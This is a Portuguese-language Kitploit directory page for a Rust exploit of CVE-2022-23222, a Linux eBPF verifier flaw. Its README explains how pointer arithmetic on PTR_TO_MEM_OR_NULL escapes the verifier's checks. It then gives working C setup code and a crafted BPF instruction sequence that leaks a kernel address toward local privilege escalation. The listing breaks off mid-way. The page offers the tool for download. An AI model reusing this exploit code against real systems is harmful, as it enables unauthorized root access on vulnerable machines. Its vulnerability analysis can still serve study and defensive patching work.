Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-23222 — CVE-2022-23222, desenvolvido em Rust. | Kitploit
Ferramentas/GitHubGitHub/fridayortiz/cve-2022-23222
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubfridayortiz/cve-2022-23222

CVE-2022-23222

CVE-2022-23222, desenvolvido em Rust.

Ver Repositório
1210há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-23222

Clique aqui se você só quer compilar e executar a bagaça. O que se segue é mais ou menos uma tradução do writeup em chinês, disponível aqui.

Usaremos o código do kernel mainline para a versão 5.13.0 como referência. Há uma incompatibilidade entre os tipos de ponteiro disponíveis e a função que verifica seus limites. Essa incompatibilidade foi introduzida pela primeira vez no Linux 5.8 e desde então foi corrigida. A lista de tipos de ponteiro disponíveis está disponível aqui.```c /* types of values stored in eBPF registers / / Pointer types represent:

  • pointer
  • pointer + imm
  • pointer + (u16) var
  • pointer + (u16) var + imm
  • if (range > 0) then [ptr, ptr + range - off) is safe to access
  • if (id > 0) means that some 'var' was added
  • if (off > 0) means that 'imm' was added / enum bpf_reg_type { NOT_INIT = 0, / nothing was written into register / SCALAR_VALUE, / reg doesn't contain a valid pointer / PTR_TO_CTX, / reg points to bpf_context / CONST_PTR_TO_MAP, / reg points to struct bpf_map / PTR_TO_MAP_VALUE, / reg points to map element value / PTR_TO_MAP_VALUE_OR_NULL,/ points to map elem value or NULL / PTR_TO_STACK, / reg == frame_pointer + offset / PTR_TO_PACKET_META, / skb->data - meta_len / PTR_TO_PACKET, / reg points to skb->data / PTR_TO_PACKET_END, / skb->data + headlen / PTR_TO_FLOW_KEYS, / reg points to bpf_flow_keys / PTR_TO_SOCKET, / reg points to struct bpf_sock / PTR_TO_SOCKET_OR_NULL, / reg points to struct bpf_sock or NULL / PTR_TO_SOCK_COMMON, / reg points to sock_common / PTR_TO_SOCK_COMMON_OR_NULL, / reg points to sock_common or NULL / PTR_TO_TCP_SOCK, / reg points to struct tcp_sock / PTR_TO_TCP_SOCK_OR_NULL, / reg points to struct tcp_sock or NULL / PTR_TO_TP_BUFFER, / reg points to a writable raw tp's buffer / PTR_TO_XDP_SOCK, / reg points to struct xdp_sock / // ... omitted ... PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, / reg points to valid memory region / PTR_TO_MEM_OR_NULL, / reg points to valid memory region or NULL / PTR_TO_RDONLY_BUF, / reg points to a readonly buffer / PTR_TO_RDONLY_BUF_OR_NULL, / reg points to a readonly buffer or NULL / PTR_TO_RDWR_BUF, / reg points to a read/write buffer / PTR_TO_RDWR_BUF_OR_NULL, / reg points to a read/write buffer or NULL / PTR_TO_PERCPU_BTF_ID, / reg points to a percpu kernel variable / PTR_TO_FUNC, / reg points to a bpf program function / PTR_TO_MAP_KEY, / reg points to a map element key */ __BPF_REG_TYPE_MAX, };
Como você pode ver, há uma série de tipos de ponteiro `_OR_NULL` que são usados quando um ponteiro pode ser... nulo. O verificador geralmente só permite que você faça uma verificação de nulidade neste ponto, ou como argumento em algumas funções. A função a seguir, disponível [aqui](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720), é responsável por rastrear e verificar os limites dos ponteiros.```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
 * Caller should also handle BPF_MOV case separately.
 * If we return -EACCES, caller may want to try again treating pointer as a
 * scalar.  So we only emit a diagnostic if !env->allow_ptr_leaks.
 */
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
				   struct bpf_insn *insn,
				   const struct bpf_reg_state *ptr_reg,
				   const struct bpf_reg_state *off_reg)
{
    // ... omitted ...

	switch (ptr_reg->type) {
	case PTR_TO_MAP_VALUE_OR_NULL:
		verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	case CONST_PTR_TO_MAP:
		/* smin_val represents the known value */
		if (known && smin_val == 0 && opcode == BPF_ADD)
			break;
		fallthrough;
	case PTR_TO_PACKET_END:
	case PTR_TO_SOCKET:
	case PTR_TO_SOCKET_OR_NULL:
	case PTR_TO_SOCK_COMMON:
	case PTR_TO_SOCK_COMMON_OR_NULL:
	case PTR_TO_TCP_SOCK:
	case PTR_TO_TCP_SOCK_OR_NULL:
	case PTR_TO_XDP_SOCK:
		verbose(env, "R%d pointer arithmetic on %s prohibited\n",
			dst, reg_type_str[ptr_reg->type]);
		return -EACCES;
	default:
		break;
	}
    
    // ... omitted ...
    
	return 0;
}

Infelizmente, esta lista está faltando alguns tipos. Especificamente, PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM, PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL, PTR_TO_RDWR_BUF e PTR_TO_RDWR_BUF_OR_NULL. Ao usar o tipo de mapa RINGBUF, podemos criar um PTR_TO_MEM_OR_NULL que nos permitirá realizar aritmética quando não deveríamos.

Detalhamento do Exploit

Primeiro, criamos dois mapas. O mapa ARRAY será usado para passar informações entre o espaço do usuário e o programa BPF. O mapa RINGBUF será usado para dar a um registrador o tipo de ponteiro explorável.```c int create_bpf_maps(context_t *ctx) { int ret = 0;

ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
    WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->comm_fd = ret;

if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
    WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
    return ret;
}
ctx->ringbuf_fd = ret;

return 0;

}

Agora, carregamos e executamos um programa BPF especialmente elaborado que, primeiro,
salvará o endereço no espaço do kernel do endereço do mapa `ARRAY` na pilha do BPF,
e então aproveitará a falha de ponteiro anterior para anular o último byte desse
endereço. O verificador pensará que estamos lendo do início do
array, mas na verdade estamos lendo alguns bytes abaixo, o que (com sorte) deve nos
fornecer um endereço de kernel.```c
int do_leak(context_t *ctx)
{
    int ret = -1;
    struct bpf_insn insn[] = {
        // r9 = r1
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

        // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

        // if (r0 == NULL) exit(1)
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_IMM(BPF_REG_0, 1),
        BPF_EXIT_INSN(),

        // r8 = r0
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

        // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
        BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
        BPF_MOV64_IMM(BPF_REG_3, 0x00),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

        // this is where the verifier loses track of r1
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

        // if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_2, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
        BPF_MOV64_IMM(BPF_REG_0, 2),
        BPF_EXIT_INSN(),

        // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

        // r7 = r1 + 8
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),

        // verifier believe r7 = 8, but r7 = 9 actually.

        // store the array pointer (0xFFFF..........10 + 0xE0)
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),

        // partial overwrite array pointer on stack
Baixar ferramenta